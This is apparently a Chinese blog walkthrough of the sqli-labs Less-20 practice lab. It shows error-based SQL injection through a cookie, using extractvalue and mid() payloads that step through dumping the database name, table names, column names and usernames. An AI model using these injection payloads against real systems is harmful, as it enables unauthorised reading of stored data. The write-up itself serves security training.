姿势
由源码可知,注入类型为单引号注入,注入点为cookie
测试得到正确的用户名为admin,密码为1,登录:
查库名
admin' and extractvalue(1,concat(0x23,database()))#
得到库名为security
查表名
admin' and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema = database())))#
查列名
admin' and extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')))#
得到三个列
查数据
该姿势使用到mid函数,
我们以username列为例,利用mid()函数构造POC如下:
admin' and extractvalue(1,concat(0x23,mid((select group_concat(username) from users),1,32)))#
接着,我们提取从第 32 个字符开始的长度为 32 的子字符串:
POC如下:
admin' and extractvalue(1,concat(0x23,mid((select group_concat(username) from users),32,32)))#
同理即可得到所有的username
总结
以上为[网络安全]sqli-labs Less-20 解题详析,考察报错注入及mid函数的应用,后续将分享 [网络安全]sqli-labs Less-21 解题详析。
我是秋说,我们下次见。